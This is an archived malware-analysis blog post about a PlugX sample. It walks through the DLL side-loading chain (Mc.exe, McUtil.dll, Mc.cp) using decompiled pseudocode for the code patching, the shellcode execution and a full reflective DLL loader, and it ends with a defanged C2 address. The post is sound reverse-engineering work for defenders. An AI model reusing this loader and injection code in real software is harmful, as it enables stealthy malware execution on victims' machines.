{
	"id": "46446dc0-4a28-4a6d-b2b2-31220528e034",
	"created_at": "2026-04-06T00:09:16.939077Z",
	"updated_at": "2026-04-10T13:13:00.929133Z",
	"deleted_at": null,
	"sha1_hash": "7d02ef9cad25f39740047409a8919205cd98a00f",
	"title": "[QuickNote] Another nice PlugX sample",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1377454,
	"plain_text": "[QuickNote] Another nice PlugX sample\r\nPublished: 2023-01-09 · Archived: 2026-04-05 21:37:27 UTC\r\n1 Votes\r\nSample information shared by Johann Aydinbas(@jaydinbas):\r\nSample hash: 2025427bba36b48e827a61116321bbe6b00d77d3fd35d552f72e052eb88948e0\r\nDownload here!\r\nDetails of this sample as shown below:\r\nhttps://kienmanowar.wordpress.com/2023/01/09/quicknote-another-nice-plugx-sample/\r\nPage 1 of 17\n\n1. The Mc.exe code will use the LoadLibraryW API function to load McUtil.dll .\r\n2. When McUtil.dll is loaded, the code at DllEntryPoint of this dll will be executed, then it will call the\r\nfunction that patch the below address of the LoadLibraryW function into a jump command to the function\r\nplx_read_Mc_cp_content_and_exec\r\nPseudocode at Mc.exe’s mw_load_and_exec_McUtil_dll_code function:\r\nDWORD __usercall mw_load_and_exec_McUtil_dll_code@\u003ceax\u003e(MW_CTX *ctx@\u003cedi\u003e, const wchar_t *file_path@\u003c\r\n{\r\n wstr_McUtil_dll_full_path = 0;\r\n memset(v7, 0, sizeof(v7));\r\n if ( file_path \u0026\u0026 *file_path )\r\n {\r\n wcscpy_s(\u0026wstr_McUtil_dll_full_path, MAX_PATH, file_path);\r\n if ( *(\u0026v5 + wcslen(\u0026wstr_McUtil_dll_full_path)) == '\\\\' )\r\n {\r\n goto LABEL_8;\r\n }\r\n }\r\n else\r\n {\r\n GetModuleFileNameW(0, \u0026wstr_McUtil_dll_full_path, MAX_PATH);\r\n backslash_pos = wcsrchr(\u0026wstr_McUtil_dll_full_path, '\\\\');\r\n if ( !backslash_pos )\r\n {\r\n goto LABEL_8;\r\n }\r\n *backslash_pos = 0;\r\n }\r\n wcscat_s(\u0026wstr_McUtil_dll_full_path, MAX_PATH, L\"\\\\\");\r\nhttps://kienmanowar.wordpress.com/2023/01/09/quicknote-another-nice-plugx-sample/\r\nPage 2 of 17\n\nLABEL_8:\r\n wcscat_s(\u0026wstr_McUtil_dll_full_path, MAX_PATH, ctx-\u003ewstr_McUtil_dll);\r\n // Load McUtil.dll and exec McUtil.dll's DllEntryPoint -\u003e exec the patching/hooking function\r\n McUtil_dll_hdl = LoadLibraryW(\u0026wstr_McUtil_dll_full_path);\r\n ctx-\u003eMcUtil_dll_hdl = McUtil_dll_hdl; // this instruction will be patched to jump to plx_re\r\n if ( McUtil_dll_hdl )\r\n {\r\n dwResult = 0;\r\n }\r\n else\r\n {\r\n dwResult = GetLastError();\r\n }\r\n return dwResult;\r\n}\r\nThe pseudocode at the plx_patching_func function of McUtil.dll performs the task of patching code:\r\n// This function will patch address at Mc_exe to jump to plx_read_Mc_cp_content_and_exec function\r\nchar __stdcall plx_patching_func()\r\n{\r\n base_idx = g_str_index;\r\n str_GetSystemTime = \u0026g_dec_str[g_str_index];\r\n str_GetSystemTime = \u0026g_dec_str[g_str_index];\r\n offset = \u0026g_enc_GetSystemTime - \u0026g_dec_str[g_str_index];\r\n len_str = 13;\r\n do\r\n {\r\n *str_GetSystemTime = ((str_GetSystemTime[offset] - 0x62) ^ 0x3F) + 0x62;// GetSystemTime\r\n ++str_GetSystemTime;\r\n --len_str;\r\n }\r\n while ( len_str );\r\n str_GetSystemTime[0xD] = 0;\r\n g_str_index = base_idx + 0xE;\r\n // retrieve base address of kernel32.dll\r\n if ( !g_kernel32_dll_handle )\r\n {\r\n ldr_entry = NtCurrentPeb()-\u003eLdr-\u003eInInitializationOrderModuleList.Flink;\r\n // 0x1A: maximum_length\r\n // 0x18: length\r\n // of \"kernel32.dll\"\r\n while ( *\u0026ADJ(ldr_entry)-\u003eBaseDllName.Length != 0x1A0018 )\r\n {\r\n ldr_entry = ADJ(ldr_entry)-\u003eInInitializationOrderLinks.Flink;\r\nhttps://kienmanowar.wordpress.com/2023/01/09/quicknote-another-nice-plugx-sample/\r\nPage 3 of 17\n\nif ( !ldr_entry )\r\n {\r\n goto LABEL_9;\r\n }\r\n }\r\n g_kernel32_dll_handle = ADJ(ldr_entry)-\u003eDllBase;\r\n }\r\nLABEL_9:\r\n GetSystemTime = GetProcAddress(g_kernel32_dll_handle, str_GetSystemTime);\r\n GetSystemTime(\u0026SystemTime);\r\n tmp_var.dwRandomNum = SystemTime.wDay + 0x64 * (SystemTime.wMonth + 0x64 * SystemTime.wYear);\r\n if ( tmp_var.dwRandomNum \u003c 20140606 )\r\n {\r\n return tmp_var.dwRandomNum;\r\n }\r\n Mc_exe_base_addr = GetModuleHandleA(0); // return base address of Mc.exe\r\n str_VirtualProtect = \u0026g_dec_str[g_str_index];\r\n len_str = 14;\r\n offset = \u0026g_enc_VirtualProtect - \u0026g_dec_str[g_str_index];\r\n pTargetAddressAtMcExe = Mc_exe_base_addr + 0xBC3;\r\n str_VirtualProtect = \u0026g_dec_str[g_str_index];\r\n g_str_index += 14;\r\n do\r\n {\r\n *str_VirtualProtect = ((str_VirtualProtect[offset] - 0xF) ^ 0x3F) + 0xF;// VirtualProtect\r\n ++str_VirtualProtect;\r\n --len_str;\r\n }\r\n while ( len_str );\r\n ++g_str_index;\r\n str_VirtualProtect[0xE] = 0;\r\n if ( !g_kernel32_dll_handle )\r\n {\r\n ldr_entry = NtCurrentPeb()-\u003eLdr-\u003eInInitializationOrderModuleList.Flink;\r\n while ( *\u0026ADJ(ldr_entry)-\u003eBaseDllName.Length != 0x1A0018 )\r\n {\r\n ldr_entry = ADJ(ldr_entry)-\u003eInInitializationOrderLinks.Flink;\r\n if ( !ldr_entry )\r\n {\r\n goto change_protection_and_patch_target_address;\r\n }\r\n }\r\n g_kernel32_dll_handle = ADJ(ldr_entry)-\u003eDllBase;\r\n }\r\nchange_protection_and_patch_target_address:\r\n VirtualProtect = GetProcAddress(g_kernel32_dll_handle, str_VirtualProtect);\r\n tmp_var.dwRes = VirtualProtect(pTargetAddressAtMcExe, 0x10u, PAGE_EXECUTE_READWRITE, \u0026flOldProtect\r\nhttps://kienmanowar.wordpress.com/2023/01/09/quicknote-another-nice-plugx-sample/\r\nPage 4 of 17\n\nif ( !tmp_var.dwRes )\r\n {\r\n return tmp_var.dwRandomNum;\r\n }\r\n \r\n tmp_var.disp_to_plx_read_Mc_cp_content_and_exec = plx_read_Mc_cp_content_and_exec - pTargetAddressA\r\n HIBYTE(v18) = HIBYTE(tmp_var.disp_to_plx_read_Mc_cp_content_and_exec);\r\n pTargetAddressAtMcExe[1] = tmp_var.disp_to_plx_read_Mc_cp_content_and_exec;\r\n LOBYTE(tmp_var.disp_to_plx_read_Mc_cp_content_and_exec) = HIBYTE(v18);\r\n *pTargetAddressAtMcExe = 0xE9; // jmp opcode\r\n pTargetAddressAtMcExe[2] = BYTE1(tmp_var.disp_to_plx_read_Mc_cp_content_and_exec);\r\n pTargetAddressAtMcExe[3] = (plx_read_Mc_cp_content_and_exec - pTargetAddressAtMcExe - 5) \u003e\u003e 0x10;\r\n pTargetAddressAtMcExe[4] = tmp_var.disp_to_plx_read_Mc_cp_content_and_exec;\r\n return tmp_var.dwRandomNum;\r\n}\r\nThe pseudocode at the function plx_read_Mc_cp_content_and_exec of McUtil.dll performs the task of\r\nreading the entire contents of Mc.cp into the allocated memory and executing the shellcode.\r\nvoid __stdcall plx_read_Mc_cp_content_and_exec()\r\n{\r\n \r\n tmp_index = g_str_index;\r\n str_VirtualAlloc = \u0026g_dec_str[g_str_index];\r\n str_VirtualAlloc = \u0026g_dec_str[g_str_index];\r\n offset = \u0026g_enc_VirtualAlloc - \u0026g_dec_str[g_str_index];\r\nhttps://kienmanowar.wordpress.com/2023/01/09/quicknote-another-nice-plugx-sample/\r\nPage 5 of 17\n\nlen_str = 12;\r\n do\r\n {\r\n *str_VirtualAlloc = ((str_VirtualAlloc[offset] + 0x74) ^ 0x3F) - 0x74;// VirtualAlloc\r\n ++str_VirtualAlloc;\r\n --len_str;\r\n }\r\n while ( len_str );\r\n g_str_index = tmp_index + 0xD;\r\n str_VirtualAlloc[0xC] = 0;\r\n if ( !g_kernel32_dll_handle )\r\n {\r\n ldr_entry = NtCurrentPeb()-\u003eLdr-\u003eInInitializationOrderModuleList.Flink;\r\n while ( *\u0026ADJ(ldr_entry)-\u003eBaseDllName.Length != 0x1A0018 )\r\n {\r\n ldr_entry = ADJ(ldr_entry)-\u003eInInitializationOrderLinks.Flink;\r\n if ( !ldr_entry )\r\n {\r\n goto alloc_mem;\r\n }\r\n }\r\n g_kernel32_dll_handle = ADJ(ldr_entry)-\u003eDllBase;\r\n }\r\nalloc_mem:\r\n VirtualAlloc = GetProcAddress(g_kernel32_dll_handle, str_VirtualAlloc);\r\n ptr_shellcode = VirtualAlloc(0, 0x100000u, MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n tmp_index = g_str_index;\r\n tmp_var.ptr_shellcode = ptr_shellcode;\r\n str_GetModuleFileNameW = \u0026g_dec_str[g_str_index];\r\n str_GetModuleFileNameW = \u0026g_dec_str[g_str_index];\r\n offset = \u0026g_enc_GetModuleFileNameW - \u0026g_dec_str[g_str_index];\r\n len_str = 18;\r\n do\r\n {\r\n *str_GetModuleFileNameW = ((str_GetModuleFileNameW[offset] - 0x40) ^ 0x3F) + 0x40;// GetModuleFil\r\n ++str_GetModuleFileNameW;\r\n --len_str;\r\n }\r\n while ( len_str );\r\n str_GetModuleFileNameW[0x12] = 0;\r\n g_str_index = tmp_index + 0x13;\r\n if ( !g_kernel32_dll_handle )\r\n {\r\n ldr_entry = NtCurrentPeb()-\u003eLdr-\u003eInInitializationOrderModuleList.Flink;\r\n while ( *\u0026ADJ(ldr_entry)-\u003eBaseDllName.Length != 0x1A0018 )\r\n {\r\n ldr_entry = ADJ(ldr_entry)-\u003eInInitializationOrderLinks.Flink;\r\nhttps://kienmanowar.wordpress.com/2023/01/09/quicknote-another-nice-plugx-sample/\r\nPage 6 of 17\n\nif ( !ldr_entry )\r\n {\r\n goto get_mw_path;\r\n }\r\n }\r\n g_kernel32_dll_handle = ADJ(ldr_entry)-\u003eDllBase;\r\n }\r\nget_mw_path:\r\n GetModuleFileNameW = GetProcAddress(g_kernel32_dll_handle, str_GetModuleFileNameW);\r\n path_length = GetModuleFileNameW(0, tmp_var.wstr_Mc_cp_full_path, 0x1000u);\r\n str_lstrcpyW = \u0026g_dec_str[g_str_index];\r\n strcpy(\u0026g_dec_str[g_str_index], \"lstrcpyW\");\r\n g_str_index += 9;\r\n if ( !g_kernel32_dll_handle )\r\n {\r\n ldr_entry = NtCurrentPeb()-\u003eLdr-\u003eInInitializationOrderModuleList.Flink;\r\n while ( *\u0026ADJ(ldr_entry)-\u003eBaseDllName.Length != 0x1A0018 )\r\n {\r\n ldr_entry = ADJ(ldr_entry)-\u003eInInitializationOrderLinks.Flink;\r\n if ( !ldr_entry )\r\n {\r\n goto build_Mc_cp_path;\r\n }\r\n }\r\n g_kernel32_dll_handle = ADJ(ldr_entry)-\u003eDllBase;\r\n }\r\nbuild_Mc_cp_path:\r\n lstrcpyW = GetProcAddress(g_kernel32_dll_handle, str_lstrcpyW);\r\n idx = --path_length;\r\n if ( path_length )\r\n {\r\n while ( tmp_var.wstr_Mc_cp_full_path[idx] != '\\\\' )\r\n {\r\n path_length = --idx;\r\n if ( !idx )\r\n {\r\n goto read_and_exec_shellcode;\r\n }\r\n }\r\n lstrcpyW(\u0026tmp_var.wstr_Mc_cp_full_path[idx + 1], L\"Mc.cp\");\r\n }\r\nread_and_exec_shellcode:\r\n tmp_index = g_str_index;\r\n str_CreateFileW = \u0026g_dec_str[g_str_index];\r\n str_CreateFileW = \u0026g_dec_str[g_str_index];\r\n offset = \u0026g_enc_CreateFileW - \u0026g_dec_str[g_str_index];\r\n len_str = 11;\r\nhttps://kienmanowar.wordpress.com/2023/01/09/quicknote-another-nice-plugx-sample/\r\nPage 7 of 17\n\ndo\r\n {\r\n *str_CreateFileW = ((str_CreateFileW[offset] + 0x7B) ^ 0x3F) - 0x7B;\r\n ++str_CreateFileW;\r\n --len_str;\r\n }\r\n while ( len_str );\r\n str_CreateFileW[0xB] = 0;\r\n g_str_index = tmp_index + 0xC;\r\n if ( !g_kernel32_dll_handle )\r\n {\r\n ldr_entry = NtCurrentPeb()-\u003eLdr-\u003eInInitializationOrderModuleList.Flink;\r\n while ( *\u0026ADJ(ldr_entry)-\u003eBaseDllName.Length != 0x1A0018 )\r\n {\r\n ldr_entry = ADJ(ldr_entry)-\u003eInInitializationOrderLinks.Flink;\r\n if ( !ldr_entry )\r\n {\r\n goto get_handle_to_Mc_for_reading;\r\n }\r\n }\r\n g_kernel32_dll_handle = ADJ(ldr_entry)-\u003eDllBase;\r\n }\r\nget_handle_to_Mc_for_reading:\r\n CreateFileW = GetProcAddress(g_kernel32_dll_handle, str_CreateFileW);\r\n Mc_cp_hdl = CreateFileW(tmp_var.wstr_Mc_cp_full_path, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTI\r\n if ( Mc_cp_hdl != INVALID_HANDLE_VALUE )\r\n {\r\n str_ReadFile = \u0026g_dec_str[g_str_index];\r\n strcpy(\u0026g_dec_str[g_str_index], \"ReadFile\");\r\n g_str_index += 9;\r\n if ( !g_kernel32_dll_handle )\r\n {\r\n ldr_entry = NtCurrentPeb()-\u003eLdr-\u003eInInitializationOrderModuleList.Flink;\r\n while ( *\u0026ADJ(ldr_entry)-\u003eBaseDllName.Length != 0x1A0018 )\r\n {\r\n ldr_entry = ADJ(ldr_entry)-\u003eInInitializationOrderLinks.Flink;\r\n if ( !ldr_entry )\r\n {\r\n goto read_Mc_content_and_exec_shellcode;\r\n }\r\n }\r\n g_kernel32_dll_handle = ADJ(ldr_entry)-\u003eDllBase;\r\n }\r\nread_Mc_content_and_exec_shellcode:\r\n ReadFile = GetProcAddress(g_kernel32_dll_handle, str_ReadFile);\r\n if ( ReadFile(Mc_cp_hdl, tmp_var.ptr_shellcode, 0x100000u, \u0026path_length, 0) )\r\n {\r\nhttps://kienmanowar.wordpress.com/2023/01/09/quicknote-another-nice-plugx-sample/\r\nPage 8 of 17\n\ntmp_var.ptr_shellcode(0); // exec shellcode\r\n str_Sleep = \u0026g_dec_str[g_str_index];\r\n strcpy(\u0026g_dec_str[g_str_index], \"Sleep\");\r\n g_str_index += 6;\r\n if ( !g_kernel32_dll_handle )\r\n {\r\n ldr_entry = NtCurrentPeb()-\u003eLdr-\u003eInInitializationOrderModuleList.Flink;\r\n while ( *\u0026ADJ(ldr_entry)-\u003eBaseDllName.Length != 0x1A0018 )\r\n {\r\n ldr_entry = ADJ(ldr_entry)-\u003eInInitializationOrderLinks.Flink;\r\n if ( !ldr_entry )\r\n {\r\n goto sleep;\r\n }\r\n }\r\n g_kernel32_dll_handle = ADJ(ldr_entry)-\u003eDllBase;\r\n }\r\nsleep:\r\n Sleep = GetProcAddress(g_kernel32_dll_handle, str_Sleep);\r\n Sleep(4294967295u);\r\n }\r\n }\r\n}\r\nShellcode at Mc.cp will perform decrypting of the second shellcode and executes this shellcode:\r\nThe second shellcode unpacks the final PlugX Dll, maps it to the allocated memory and calls the Dll’s\r\nDllEntryPoint to execute it.\r\nhttps://kienmanowar.wordpress.com/2023/01/09/quicknote-another-nice-plugx-sample/\r\nPage 9 of 17\n\nThe whole pseudocode of this second shellcode is as below:\r\nint __stdcall plx_load_dll_from_memory(PLX_SHELLCODE_CTX *sc_ctx)\r\n{\r\n ldr_entry = NtCurrentPeb()-\u003eLdr-\u003eInInitializationOrderModuleList.Flink;\r\n while ( *\u0026ADJ(ldr_entry)-\u003eBaseDllName.Length != 0x1A0018 )\r\n {\r\n ldr_entry = ADJ(ldr_entry)-\u003eInInitializationOrderLinks.Flink;\r\n if ( !ldr_entry )\r\n return 1;\r\n }\r\n kernel32_base_addr = ADJ(ldr_entry)-\u003eDllBase;\r\n if ( !kernel32_base_addr )\r\n return 1;\r\n pExportDir = (kernel32_base_addr + *(kernel32_base_addr + *(kernel32_base_addr + 0xF) + 0x78));\r\n numApiNames = pExportDir-\u003eNumberOfNames;\r\n idx = 0;\r\n if ( numApiNames \u003c= 0 )\r\n goto LABEL_21;\r\n // find GetProcAdderss\r\n while ( TRUE )\r\n {\r\n str_GetProcAdderss = kernel32_base_addr + *(kernel32_base_addr + 4 * idx + pExportDir-\u003eAddressOfN\r\n if ( *str_GetProcAdderss == 'G'\r\n \u0026\u0026 str_GetProcAdderss[1] == 'e'\r\n \u0026\u0026 str_GetProcAdderss[2] == 't'\r\n \u0026\u0026 str_GetProcAdderss[3] == 'P'\r\n \u0026\u0026 str_GetProcAdderss[4] == 'r'\r\n \u0026\u0026 str_GetProcAdderss[5] == 'o'\r\n \u0026\u0026 str_GetProcAdderss[6] == 'c'\r\nhttps://kienmanowar.wordpress.com/2023/01/09/quicknote-another-nice-plugx-sample/\r\nPage 10 of 17\n\n\u0026\u0026 str_GetProcAdderss[7] == 'A'\r\n \u0026\u0026 str_GetProcAdderss[8] == 'd'\r\n \u0026\u0026 str_GetProcAdderss[9] == 'd' )\r\n {\r\n break;\r\n }\r\n if ( ++idx \u003e= numApiNames )\r\n goto LABEL_21;\r\n }\r\n GetProcAddress_rva = *(kernel32_base_addr + 4 * *(kernel32_base_addr + 2 * idx + pExportDir-\u003eAddres\r\n // retrieve GetProcAdderss addr\r\n bRet = kernel32_base_addr + GetProcAddress_rva == 0;\r\n GetProcAddress = (kernel32_base_addr + GetProcAddress_rva);\r\n if ( bRet )\r\n {\r\nLABEL_21:\r\n dwRes = 2;\r\n goto exit;\r\n }\r\n strcpy(str_LoadLibraryA, \"LoadLibraryA\");\r\n LoadLibraryA = GetProcAddress(kernel32_base_addr, str_LoadLibraryA);\r\n if ( !LoadLibraryA )\r\n {\r\n dwRes = 3;\r\n goto exit;\r\n }\r\n strcpy(str_VirtualAlloc, \"VirtualAlloc\");\r\n VirtualAlloc = GetProcAddress(kernel32_base_addr, str_VirtualAlloc);\r\n if ( !VirtualAlloc )\r\n {\r\n dwRes = 4;\r\n goto exit;\r\n }\r\n strcpy(str_VirtualFree, \"VirtualFree\");\r\n VirtualFree = GetProcAddress(kernel32_base_addr, str_VirtualFree);\r\n if ( !VirtualFree )\r\n {\r\n dwRes = 5;\r\n goto exit;\r\n }\r\n strcpy(str_ntdll, \"ntdll\");\r\n ntdll_handle = LoadLibraryA(str_ntdll);\r\n if ( !ntdll_handle )\r\n {\r\n dwRes = 7;\r\n goto exit;\r\n }\r\nhttps://kienmanowar.wordpress.com/2023/01/09/quicknote-another-nice-plugx-sample/\r\nPage 11 of 17\n\nstrcpy(str_RtlDecompressBuffer, \"RtlDecompressBuffer\");\r\n tmp_var.RtlDecompressBuffer = GetProcAddress(ntdll_handle, str_RtlDecompressBuffer);\r\n if ( !tmp_var.RtlDecompressBuffer )\r\n {\r\n dwRes = 8;\r\n goto exit;\r\n }\r\n strcpy(str_memcpy, \"memcpy\");\r\n tmp_var1.memcpy = GetProcAddress(ntdll_handle, str_memcpy);\r\n if ( !tmp_var1.memcpy )\r\n {\r\n dwRes = 9;\r\n goto exit;\r\n }\r\n uncompressed_buffer_size = *sc_ctx-\u003euncompressed_buffer_size;// 0x26400\r\n uncompressed_buffer = VirtualAlloc(0, uncompressed_buffer_size, MEM_COMMIT, PAGE_READWRITE);\r\n if ( !uncompressed_buffer )\r\n {\r\n dwRes = 0xC;\r\n goto exit;\r\n }\r\n if ( tmp_var.RtlDecompressBuffer(\r\n COMPRESSION_FORMAT_LZNT1,\r\n uncompressed_buffer,\r\n uncompressed_buffer_size,\r\n sc_ctx-\u003euncompressed_buffer_size + 4, // compressed dll buffer (offset 0x523)\r\n sc_ctx-\u003edll_uncompressed_size - 4, // 0x1C252\r\n \u0026final_uncompressed_size) )\r\n {\r\n dwRes = 0xD;\r\n goto exit;\r\n }\r\n if ( final_uncompressed_size != uncompressed_buffer_size )\r\n {\r\n dwRes = 0xE;\r\n goto exit;\r\n }\r\n if ( *uncompressed_buffer != 'VX' )\r\n {\r\n dwRes = 0xF;\r\n goto exit;\r\n }\r\n decompressed_dll_nt_headers = \u0026uncompressed_buffer[*(uncompressed_buffer + 0xF)];\r\n if ( decompressed_dll_nt_headers-\u003eSignature != 'VX' )\r\n {\r\n dwRes = 0x10;\r\n goto exit;\r\nhttps://kienmanowar.wordpress.com/2023/01/09/quicknote-another-nice-plugx-sample/\r\nPage 12 of 17\n\n}\r\n plugx_mapped_dll = VirtualAlloc(0, decompressed_dll_nt_headers-\u003eOptionalHeader.SizeOfImage, MEM_COM\r\n tmp_var3.ptr_plugx_mapped_dll = plugx_mapped_dll;\r\n if ( !plugx_mapped_dll )\r\n {\r\n dwRes = 0x11;\r\n goto exit;\r\n }\r\n AddressOfEntryPoint = decompressed_dll_nt_headers-\u003eOptionalHeader.AddressOfEntryPoint;\r\n tmp_var2.cnt = 0;\r\n // retrieve the address of DllEntryPoint in mapped address\r\n ptr_PlugX_dll_entry_point = (plugx_mapped_dll + AddressOfEntryPoint);\r\n // copy sections\r\n decompressed_dll_section_headers = (\u0026decompressed_dll_nt_headers-\u003eOptionalHeader + decompressed_dll\r\n if ( decompressed_dll_nt_headers-\u003eFileHeader.NumberOfSections )\r\n {\r\n pRawAddr = \u0026decompressed_dll_section_headers-\u003ePointerToRawData;\r\n do\r\n {\r\n tmp_var1.memcpy(\r\n plugx_mapped_dll + ADJ(pRawAddr)-\u003eVirtualAddress,// mapped_addr + section.VirtualAddress\r\n \u0026uncompressed_buffer[ADJ(pRawAddr)-\u003ePointerToRawData],// uncompressed_dll_addr + section.RawA\r\n ADJ(pRawAddr)-\u003eSizeOfRawData); // section.RawSize\r\n num_of_sections = decompressed_dll_nt_headers-\u003eFileHeader.NumberOfSections;\r\n ++tmp_var2.cnt;\r\n pRawAddr += 0xA; // next section\r\n }\r\n while ( tmp_var2.cnt \u003c num_of_sections );\r\n }\r\n // PerformBaseRelocation\r\n reloc_dir_rva = decompressed_dll_nt_headers-\u003eOptionalHeader.DataDirectory[5].VirtualAddress;\r\n if ( reloc_dir_rva \u0026\u0026 decompressed_dll_nt_headers-\u003eOptionalHeader.DataDirectory[5].Size )\r\n {\r\n for ( relocation = (plugx_mapped_dll + reloc_dir_rva); ; relocation = (relocation + relocation-\u003eS\r\n {\r\n SizeOfBlock = relocation-\u003eSizeOfBlock;\r\n if ( !SizeOfBlock )\r\n break;\r\n relItems = 0;\r\n if ( (SizeOfBlock - IMAGE_SIZEOF_BASE_RELOCATION) \u003e\u003e 1 )// Items = relocation-\u003eSizeOfBlock-IMAG\r\n {\r\n do\r\n {\r\n relocation_entry = \u0026relocation[1] + relItems;\r\n rel_type = *relocation_entry \u003e\u003e 0xC;\r\n if ( rel_type )\r\n {\r\nhttps://kienmanowar.wordpress.com/2023/01/09/quicknote-another-nice-plugx-sample/\r\nPage 13 of 17\n\nif ( rel_type == IMAGE_REL_BASED_HIGHLOW )\r\n {\r\n offset = relocation-\u003eVirtualAddress + (*relocation_entry \u0026 0xFFF);\r\n *(plugx_mapped_dll + offset) += plugx_mapped_dll - decompressed_dll_nt_headers-\u003eOptiona\r\n }\r\n else\r\n {\r\n if ( rel_type != IMAGE_REL_BASED_DIR64 )\r\n {\r\n dwRes = 0x12;\r\n goto exit;\r\n }\r\n tmp_var1.offset = plugx_mapped_dll + relocation-\u003eVirtualAddress + (*relocation_entry \u0026\r\n tmp_var.offset = 0;\r\n v24.memcpy = tmp_var1.memcpy;\r\n v22 = (plugx_mapped_dll - decompressed_dll_nt_headers-\u003eOptionalHeader.ImageBase) \u003e\u003e 0x2\r\n v23 = plugx_mapped_dll - decompressed_dll_nt_headers-\u003eOptionalHeader.ImageBase;\r\n v25 = __CFADD__(v23, ADJ(tmp_var1.pVirtualAddress)-\u003eVirtualAddress);\r\n ADJ(tmp_var1.pVirtualAddress)-\u003eVirtualAddress += v23;\r\n plugx_mapped_dll = tmp_var3.ptr_plugx_mapped_dll;\r\n *(v24.offset + 4) += v22 + v25;\r\n }\r\n }\r\n SizeOfBlock = relocation-\u003eSizeOfBlock;\r\n relItems = (relItems + 1);\r\n }\r\n while ( relItems \u003c ((SizeOfBlock - IMAGE_SIZEOF_BASE_RELOCATION) \u003e\u003e 1) );\r\n }\r\n }\r\n }\r\n // fill null bytes\r\n if ( decompressed_dll_nt_headers-\u003eOptionalHeader.DataDirectory[5].VirtualAddress )\r\n {\r\n reloc_dir_size = decompressed_dll_nt_headers-\u003eOptionalHeader.DataDirectory[5].Size;\r\n if ( reloc_dir_size )\r\n {\r\n j = 0;\r\n if ( reloc_dir_size \u003e 0 )\r\n {\r\n do\r\n {\r\n delta_offset = j + decompressed_dll_nt_headers-\u003eOptionalHeader.DataDirectory[5].VirtualAdd\r\n ++j;\r\n *(plugx_mapped_dll + delta_offset) = 0;\r\n }\r\n while ( j \u003c decompressed_dll_nt_headers-\u003eOptionalHeader.DataDirectory[5].Size );\r\n }\r\nhttps://kienmanowar.wordpress.com/2023/01/09/quicknote-another-nice-plugx-sample/\r\nPage 14 of 17\n\n}\r\n }\r\n // BuildImportTable\r\n import_desc_rva = decompressed_dll_nt_headers-\u003eOptionalHeader.DataDirectory[1].VirtualAddress;\r\n if ( import_desc_rva \u0026\u0026 decompressed_dll_nt_headers-\u003eOptionalHeader.DataDirectory[1].Size )\r\n {\r\n import_desc_va = (plugx_mapped_dll + import_desc_rva);\r\n for ( tmp_var2.import_desc_va = import_desc_va; ; import_desc_va = tmp_var2.import_desc_va )\r\n {\r\n thunkRef = import_desc_va-\u003eOriginalFirstThunk;\r\n if ( !thunkRef )\r\n break;\r\n funcRef = tmp_var2.import_desc_va-\u003eFirstThunk;\r\n tmp_var.thunkData = (plugx_mapped_dll + thunkRef);\r\n pImportAddressTbl = plugx_mapped_dll + funcRef;\r\n tmp_var1.dll_handle = LoadLibraryA(plugx_mapped_dll + tmp_var2.import_desc_va-\u003eName);\r\n if ( !tmp_var1.dll_handle )\r\n {\r\n dwRes = 0x13;\r\n goto exit;\r\n }\r\n thunkData = tmp_var.thunkData;\r\n j = 0;\r\n tmp_var3.cnt = 0;\r\n if ( *tmp_var.thunkData )\r\n {\r\n while ( TRUE )\r\n {\r\n pImportNameTbl = *thunkData;\r\n relItems = \u0026pImportAddressTbl[j]; // pImportAddressTbl\r\n apiAddr = *\u0026pImportNameTbl \u003e= 0 ? GetProcAddress(\r\n tmp_var1.dll_handle,\r\n plugx_mapped_dll + *\u0026pImportNameTbl + offsetof(IMAGE_IM\r\n \r\n \r\n *relItems = apiAddr; // pIAT[j] = apiAddr\r\n if ( !*relItems )\r\n break;\r\n ++tmp_var3.cnt;\r\n j = 4 * tmp_var3.cnt;\r\n thunkData = \u0026tmp_var.thunkData[tmp_var3.cnt];// next import\r\n if ( !*thunkData )\r\n goto LABEL_76;\r\n }\r\n dwRes = 0x14;\r\n goto exit;\r\n }\r\nhttps://kienmanowar.wordpress.com/2023/01/09/quicknote-another-nice-plugx-sample/\r\nPage 15 of 17\n\nLABEL_76:\r\n tmp_var2.offset += 0x14;\r\n }\r\n }\r\n import_desc_rva = decompressed_dll_nt_headers-\u003eOptionalHeader.DataDirectory[1].VirtualAddress;\r\n cnt = 0;\r\n if ( import_desc_rva \u0026\u0026 decompressed_dll_nt_headers-\u003eOptionalHeader.DataDirectory[1].Size )\r\n {\r\n v44 = 0;\r\n if ( decompressed_dll_nt_headers-\u003eFileHeader.NumberOfSections )\r\n {\r\n tmp_var3.pVirtualAddress = \u0026decompressed_dll_section_headers-\u003eVirtualAddress;\r\n while ( 1 )\r\n {\r\n if ( import_desc_rva \u003e ADJ(tmp_var3.pVirtualAddress)-\u003eVirtualAddress )\r\n {\r\n tmp_var.nextVirtuaAddr = ADJ(tmp_var3.pVirtualAddress)-\u003eVirtualAddress + decompressed_dll_s\r\n import_desc_rva = decompressed_dll_nt_headers-\u003eOptionalHeader.DataDirectory[1].VirtualAddre\r\n if ( import_desc_rva \u003c tmp_var.nextVirtuaAddr )\r\n break;\r\n }\r\n num_of_sections = decompressed_dll_nt_headers-\u003eFileHeader.NumberOfSections;\r\n tmp_var3.pVirtualAddress += 0xA;\r\n if ( ++cnt \u003e= num_of_sections )\r\n goto wipe_import_dir_info;\r\n }\r\n v44 = decompressed_dll_section_headers[cnt].Misc.VirtualSize + decompressed_dll_section_headers\r\n }\r\nwipe_import_dir_info:\r\n for ( i = 0; i \u003c v44; v47[decompressed_dll_nt_headers-\u003eOptionalHeader.DataDirectory[1].VirtualAdd\r\n v47 = plugx_mapped_dll + i++;\r\n }\r\n // exec PlugX Dll from EntryPoint\r\n if ( ptr_PlugX_dll_entry_point(plugx_mapped_dll, DLL_PROCESS_ATTACH, sc_ctx) )\r\n {\r\n VirtualFree(uncompressed_buffer, 0, MEM_RELEASE);\r\n result = 0;\r\n }\r\n else\r\n {\r\n dwRes = 0x15;\r\nexit:\r\n result = dwRes;\r\n }\r\n return result;\r\n}\r\nhttps://kienmanowar.wordpress.com/2023/01/09/quicknote-another-nice-plugx-sample/\r\nPage 16 of 17\n\nPlugX Dll performs the task of decrypting the configuration, which contains information about C2 that the\r\nmalicious code will connect to:\r\nThe malware will inject into the svchost.exe process, then make a connection to the C2 address ( svchost.exe\r\nrequested TCP 45[.]79.125.11:443 )\r\nEnd.\r\nm4n0w4r\r\nSource: 